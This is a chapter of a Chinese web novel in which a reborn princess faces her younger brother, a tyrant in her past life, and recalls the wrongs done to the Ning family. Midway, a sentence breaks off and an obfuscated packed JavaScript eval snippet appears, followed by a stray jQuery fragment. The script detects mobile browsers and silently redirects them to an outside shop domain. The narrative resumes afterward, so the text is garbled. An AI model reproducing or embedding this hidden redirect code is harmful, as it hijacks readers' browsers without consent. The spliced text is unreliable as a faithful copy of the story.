“安王?宋郾行……?”
宋毓容听见这话时不禁恍惚,刚才面前宋郾行那张鲜血淋漓的脸惹得自梦中惊醒,没想到人真的就在外面,让她有瞬间现实和梦境相连的错觉。
她被中的手在细细的颤抖,额间渗出细密的冷汗,但还是不顾揽翠关心的话,径直批起外衫,也不顾没上妆梳洗就直接打开门。
她昨夜睡得迟,加之一夜噩梦,昏沉间竟然睡到了天色大亮。
刚一推开门,外面刺目的明媚春光晃得宋毓容一滞。
只因视线里熟悉的少年。
院中花树下,宋郾行正抬头望着头顶枝杈,似乎注意力都被那将开未开的玉兰吸引,直到宋毓容靠近才反应过来,脸上绽开一个明媚的笑。
“姐姐。”少年抬手将枝杈上的玉兰摘下,别在宋毓容发间。
晚玉兰馥郁的香气在鬓边散开,面前的宋郾行仔细看了看,似乎对此颇为满意。
“刚刚揽翠就说你还没起,我猜你知道我在外面等你一定顾不上束发,这玉兰洁白若雪,最是适合散发点缀,要是上妆束发头油脂粉反而盖了花的清幽。”
宋毓容眼睛一眨不眨的认真看着面前的宋郾行。
少年对她滔滔不绝,她的心思却全然不在对方的话上,而是只认真的看着面前这个人。
两世了,居然隔了两世她才再听到这声姐姐,才终于被少年再次重新依赖信任。
前世,宋郾行登基后变得麻木不仁,无论是百姓还是官员,杀人只凭心情好坏。
若是心情不好,对方随意一个因畏惧而躲闪的眼神都能成为杀人的理由,当时的宋郾行真真正正成了一个暴君,成了比王昀掌权更可怕的一个恶魔。
宋毓容无数次恍惚,这个如地狱恶鬼般的人,竟然就是她亲手养大的弟弟。
……
这样开朗的少年人,宋毓容实在是好久没再见到。
半晌,宋毓容才找回自己的声音,一开始微微发颤:“阿郾……”
“阿姐你今天是怎么了?”宋郾行紧张的看向揽翠。
揽翠偷着看了眼公主神色,见没拒绝才道:“安王殿下,公主她今日深思倦怠,昨夜又梦魇了。”
“原来是梦魇,”闻言宋郾行的神色缓和不少,挥挥手让揽翠下去,随后乖巧的半蹲在宋毓容面前。
“阿姐你还记得吗?我们还在寰都汜水畔住时候,当时母亲刚走没多久,晚上我就经常梦魇,每次都是你把我从梦里叫醒。”少年把侧脸贴在宋毓容的掌间,轻轻动了动。
“当时你就告诉我,梦里的事情都是假的,无论是多么不好的经历都不会变成现实。”说到这儿宋郾行笑了笑,抬起头对着宋毓容,“我当时还不信,偏问你为什么梦里的事情不会发生,明明当时感觉那么真实。”
少年顿了一下,似乎实在回想,“我还记得你当时说——梦境就是在提醒人们现实里可能发生的危险,让人们提前防范,所以梦到不好的事情时应该庆幸,我们又躲过一劫。”
少年的声音温柔,说话间始终看着宋毓容,在宋毓容看向他时温和的笑笑。
掌心的温热和少年此时的信赖无一不昭示着此时宋毓容眼前这人不是前世那个让人生畏的暴君,而是那个值得信赖的弟弟。
至此宋毓容才恍然反应过来。
对啊,她之前拿来安慰别人的话怎么到了自己反而忘记了。宋毓容自诩不是个感性懦弱的人,她一贯做事紧密理性,最讨厌感情用事。
所以在重生之后可以冷静的分析局势做出要重新争权的决定,但即使她刻意忽视,也无法在心里彻底说服自己该以什么样的心态再去面对前世可能杀死她的亲弟弟。
恨?还是担心?痛心后悔?
宋毓容自己也分不清哪种情绪更多一些,因此重生数日也不曾去找过宋郾行,甚至连让下属递一封书信都不曾。
因为她很清楚,她既没办法原谅可能是杀害自己凶手的亲弟弟,也没办法因为怀疑对自小相依为命的至亲痛下杀手。
但刚才他的拿番话倒是给了宋毓容一个合理的解决方法。
前世她经历的那些,不就是相当于一个噩梦?噩梦警醒人们可能得隐患,所以只要宋毓容今生避免前世导致悲剧发生的契机,那宋郾行就不会成为那个杀人如麻的暴君,也不会有前世王朝覆灭的惨案。
宋毓容轻轻将手掌放在少年绒绒的头顶,既然重来一次,她就当前世种种当做不曾发生,今生她势必要改变一切。
……
二人信步移至书房,宋毓容一路想着前世发生的种种事情,想要理出导致宋郾行后来性格暴虐的原因,刚在案前坐下,昨夜那被落墨毁掉的佛经就落入眼中。
宋毓容正要唤人来收拾,视线却落在经上不动。
当时揽翠因为宁小姐晕倒紧急来报,宋毓容心思一乱才毁了这经。
宁婉舒……宁家小姐!前世被摄政王强娶入府续弦不成的宁家小姐!
这点让宋毓容想到无数前情,前世宁家被以通敌叛国罪满门抄斩,宁太守不知如何将宁婉舒送了出来,本想让她隐姓埋名度日,却不想这姑娘脾气太倔,不愿意踩着家人的性命苟且偷生,竟然一纸状书直接告到了御前。
彼时摄政王当权,朝中众人对宁婉舒泣血的诉状置若罔闻,只看王昀的脸色行事。
不知王昀是出于何种心思,当着朝中众人面前对宁婉舒作为逃犯竟然敢上殿申冤之事大加褒扬,只说是堪为女子典范,却放着那诉状不提,只在下朝后将人强行带走,隔天就一顶小轿将人抬了进门。
王昀名为感慕宁小姐孝心将其娶为续弦,实则以纳贱妾规格警醒朝中众人,若是不顺宁家就是下场。
此番敲打下,满朝谁还敢和他作对!
宋毓容记得,这个宁婉舒宁死不从王昀,抵着一把匕首要死,却被一把夺下充为官妓,在日日磋磨下留下满室写满冤情的状纸和给安王的一封诀别信就悬梁自尽。
宋毓容当时对宋郾行与宁婉舒相识之事丝毫不知,还是在一向温和得有些懦弱的宋郾行孤身一人闯入其中不顾王昀势力夺回那封信时才得知。
但即便当时宋毓容与安王如何极力争取,宁婉舒的遗体也被王昀带了回去,以逃奴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232252|151346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的待遇给家中死去爱犬殉葬,甚至墓碑上刻着——爱犬之墓,最下面才是殉葬贱奴宁婉舒。
将一个官家小姐贬成牲畜不如的东西,也难怪宋郾行隐忍多年,登基后第一件事就是将王昀尸骸刨出,挫骨扬灰泄愤。
……
宋毓容额头渗出细汗,手中的佛经也被无意识揉皱。
这一切都是因果牵扯。
所幸如今宁家之事还未注下,一切都有重来的机会。
就在宋毓容琢磨如何向宋郾行开口说宁家之事,宋郾行却先一步开了口。
少年目光灼灼看着她:“阿姐,你是不是有什么事情要和我说?”
在宋郾行期待的目光下,宋毓容到嘴边的话还是咽了回去,“确实是有些小事烦心,不过并不严重。阿郾你如今最重要的就是要认真学业,才能早日接过一国重任的担子。”
如今她不知道宁婉舒与宋郾行是否早就相识,若是早前二人就私定终身,此时宁婉舒又险些遭到王昀谋害,按着前世宋郾行后来的言行,宋毓容真的很怕他会一时情急做出什么不能挽回的事情。
宋毓容如今还未掌权,若是宋郾行言行过当,只怕就是拼尽全力也没办法护住他。
宋郾行却好像对宋毓容此时内心的纠结毫不知情,对于宋毓容的可以岔开话题不置可否,只歪头笑了下,“这件事如今满京上至八十老叟下至垂髫孩童皆知,阿姐就不要刻意瞒我了。”
宋毓容闻言一僵,刚以为宁婉舒之事何时泄露出去,脸上的表情变化被刻意等着的宋郾行抓了个正着。
“来之前我还以为那不过是谣传,现在看你的表情想来众人所说竟是真的!”
宋郾行眯了眯眼睛凑近宋毓容,就在宋毓容被逼的要说出前因后果时宋郾行直接抓住她的胳膊使劲摇了摇。
“阿姐,你是什么时候和顾钦在一起的?外人也就算了,怎么连我这个亲弟弟都瞒得滴水不漏,竟然还是从别人口中得知的!你们还私自定了终身!姐姐你可是最看重规矩的人,怎么私下打了这种主意……”
宋郾行带着满脸哀痛一脸了然道:“莫不是说你真的那么喜欢这个顾钦?喜欢到连请族中耆老定亲都忍不到了?”
顾……顾钦?!宋毓容闻言脸上的紧张瞬间转变成了哑然。
怎么和他扯上关系了?
见宋毓容不说,宋郾行只好继续求:“阿姐你说嘛,现在京中人都在传,说你和顾钦两个人暗许终身,还说是你们在摄政王府办赏花宴时亲口说的,到底是不是真的啊?”
这……好像还真是她做过的事,宋毓容就是想抵赖不认都心虚。
宋毓容当时只是顺着顾钦的话接着演戏,这件事后紧接着就是他在马车上的试探,还有采荷暗通消息和季蔼揭露王昀暗中铲除老臣之事,根本没时间留给她去想当日究竟口不择言说过什么了。
现在被宋郾开一提醒,这才想起来当时所作所为。
先是大庭广众下和顾钦“打情骂俏”,然后就是两个人话中坐实了订婚之事。
所以……她现在已经有了个满京城人都知道的未婚夫?!